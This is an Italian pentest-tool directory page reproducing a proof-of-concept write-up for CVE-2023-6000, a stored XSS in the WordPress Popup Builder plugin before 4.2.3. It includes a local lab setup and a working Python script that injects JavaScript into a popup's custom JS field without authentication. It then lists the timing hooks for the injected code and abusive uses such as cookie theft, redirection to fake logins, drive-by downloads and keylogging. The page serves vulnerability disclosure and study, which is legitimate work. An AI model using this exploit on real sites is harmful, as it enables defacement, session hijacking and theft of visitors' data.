Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/ronf98/cve-2023-6000-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSviluppo Payload
GitHubronf98/cve-2023-6000-poc

CVE-2023-6000-POC

Questa vulnerabilità mostra un difetto XSS in un plugin popup di WordPress, permettendo agli aggressori di iniettare JavaScript malevolo attraverso un XSS memorizzato.

Vedi Repository
11 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Dettagli Generali

  • CVE-ID : CVE-2023-6000
  • Punteggio CVSS : 6.1
  • Tipo : XSS Memorizzato (Stored XSS)
  • Versione Risolta : Popup Builder 4.2.3

Questa vulnerabilità consente a un attaccante di sfruttare una falla di Cross-Site Scripting (XSS) nel plugin WordPress Popup Builder. Il plugin non impedisce ai visitatori normali di modificare i popup esistenti e, inviando una richiesta appositamente costruita al server, l'attaccante può iniettare script maliziosi nel popup, che verranno eseguiti quando gli utenti interagiscono con il popup.

Per questo POC, la vulnerabilità si attiva manipolando il comportamento di apertura del popup, dove un semplice script di alert verrà iniettato per essere eseguito all'apertura del popup. Questo tipo di attacco può portare a una serie di problemi, tra cui accesso non autorizzato a informazioni sensibili e ulteriore sfruttamento del sito web colpito, compromettendo potenzialmente i dati degli utenti o l'intero sito.

Configurazione dell'ambiente POC

  1. Scarica XAMPP per ospitare il server web locale (ultima versione)
  2. Crea un database SQL
  3. Installa WordPress (ultima versione)
  4. Accedi a WordPress-admin e installa una versione vulnerabile di Popup Builder (<4.2.3)
  5. Configura una semplice pagina frontale e un popup per mostrare la vulnerabilità

Step 1: XAMPP

Per questo POC possiamo usare una macchina Windows 10 e scaricare XAMPP: https://www.apachefriends.org/download.html
Dopo l'installazione, assicurati di attivare i moduli Apache e MySQL:

image

Step 2: DB SQL

WordPress, come la maggior parte dei sistemi di gestione dei contenuti, richiede un database per memorizzare tutti i suoi dati essenziali. Il database SQL che creeremo funge da archivio centrale per tutte queste informazioni.

  • Sul browser, naviga su http://localhost/phpmyadmin
  • Vai alla scheda Database e crea un nuovo database (es. wordpress_db).
  • Prendi nota del nome del database perché ti servirà durante la configurazione di WordPress.

Step 3: WordPress

  • Scarica WordPress dal sito ufficiale - https://wordpress.org/download/
  • Dopo il download, estrai il file zip di WordPress nella cartella della directory di installazione di XAMPP sotto C:\xampp\htdocs\
  • Successivamente, naviga su http://localhost/wordpress che mostrerà la schermata di installazione.
  • Nel campo nome database, inserisci il nome del DB SQL che abbiamo creato, il resto può rimanere come default (utente:root, password:vuota (default per XAMPP)).
  • Se la connessione al database ha successo, puoi quindi configurare un utente Admin per l'accesso successivo.

Step 4: Popup Builder

La versione vulnerabile del plugin Popup Builder può essere scaricata dal loro sito principale: https://wordpress.org/plugins/popup-builder/advanced/
Scegli una versione precedente alla correzione nella 4.2.3:
image
Successivamente, vai alla pagina admin di WordPress - http://localhost/wordpress/wp-login.php
Plugin -> Aggiungi nuovo plugin -> Carica plugin -> Scegli il file .ZIP scaricato e installa

Step 5: Pagina Frontale e Popup

Nella pagina admin di WordPress, possiamo creare una semplice pagina frontale andando su Pagine -> Aggiungi nuova pagina -> Scegli un modello.
Per il Popup, vai su Popup Builder -> Aggiungi nuovo -> Scegli il tipo e personalizza.
Per questo POC, ho selezionato un popup di iscrizione, poiché è uno dei popup più comunemente visti sui siti web oggi.
image

Nella scheda Regole di visualizzazione, puoi associare il popup alla tua pagina frontale:
image

Ora quando entriamo nella nostra pagina frontale usando http://localhost/wordpress/
possiamo vedere il nostro popup attivarsi.

Exploit

Per eseguire l'exploit, dobbiamo prima identificare l'ID del Popup.
Questo può essere fatto navigando sul sito, attivando il popup e aprendo la scheda Rete negli strumenti di sviluppo.
Cerca la richiesta admin-ajax.php, un componente core di WordPress utilizzato per gestire le richieste AJAX.
Popup Builder utilizza questo per gestire funzioni come salvare, aggiornare, visualizzare in anteprima e controllare i popup all'interno di WordPress.

Sotto la scheda Payload, possiamo trovare l'ID del popup:

image

Dopo aver trovato l'ID del Popup, possiamo usare il seguente script per attivare l'exploit:

root@kitploit:~
import requests

# Definisci l'URL di destinazione per il sito vulnerabile
url = "http://localhost/wordpress/"
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
    }
data = {
    "sgpb-is-preview": "1",
    "post_ID": "22",     #usa l'ID del Popup che abbiamo trovato
    "sgpb-type": "html",
    "sgpb-WillOpen": "alert('Stored XSS Executed Successfully');"     #il codice JS personalizzato va qui
    }

# Invia la richiesta POST e stampa i risultati
response = requests.post(url, data=data)
print(response.text)

Opzioni Aggiuntive

Poiché possiamo modificare il popup, possiamo anche controllare i tempi di attivazione del nostro JS personalizzato. Se andiamo nella pagina admin di WordPress, nelle impostazioni del popup possiamo vedere un'opzione "Custom JS or CSS", che controllerà i tempi del codice personalizzato:

  • "sgpb-ShouldOpen" : Esegue prima che il popup inizi ad aprirsi, verificando se dovrebbe aprirsi.
  • "sgpb-WillOpen" : Viene eseguito appena prima che il popup si apra, consentendo azioni dell'ultimo secondo.
  • "sgpb-DidOpen" : Esegue subito dopo che il popup si è completamente aperto, ideale per azioni post-caricamento (es. XSS).
  • "sgpb-ShouldClose" : Controlli o azioni attivate prima che il popup inizi a chiudersi.
  • "sgpb-WillClose" : Viene eseguito appena prima che il popup si chiuda, consentendo modifiche finali.
  • "sgpb-DidClose" : Esegue immediatamente dopo che il popup si è completamente chiuso.

image

Possiamo quindi incorporarlo nel nostro script in base all'uso desiderato.

Esecuzione

Dopo aver attivato lo script, possiamo vedere nella pagina admin di WordPress che una nuova riga è stata aggiunta alla sezione JS personalizzato del nostro popup:

image

Ora, entrando nel sito come utente normale, possiamo vedere il seguente messaggio apparire:

image

Possiamo anche vedere che il nostro messaggio è stato salvato all'interno del database SQL (nella tabella wp_postmeta per impostazione predefinita), confermando che si tratta di un XSS memorizzato:

image

Possibili Utilizzi

Questa vulnerabilità XSS memorizzata nel plugin Popup Builder consente all'attaccante di incorporare JavaScript dannoso che può essere eseguito ogni volta che un utente interagisce con il popup infetto. Ecco alcuni modi per sfruttarla maliziosamente:

  • Furto di Sessione: Il codice JS dannoso può rubare i cookie di sessione e inviarli a un dominio esterno, consentendo agli attaccanti di prendere il controllo degli account utente.
  • Reindirizzamento: Lo script può reindirizzare gli utenti a pagine di login false o ad altri siti dannosi (questo può essere fatto aggiungendo il seguente codice JS: window.location.href = 'https://facebook.com')
  • Download Drive-by: L'attaccante può attivare il download di file dannosi, causando l'installazione involontaria di malware da parte degli utenti.
  • Deturpamento e Disinformazione: Gli script iniettati possono manipolare il contenuto della pagina, deturpando il sito o mostrando informazioni false agli utenti.
  • Keylogger: Script dannosi possono essere utilizzati per registrare le battiture degli utenti, catturando dati sensibili e informazioni personali, per poi inviarli al dominio dell'attaccante.
Scarica lo strumento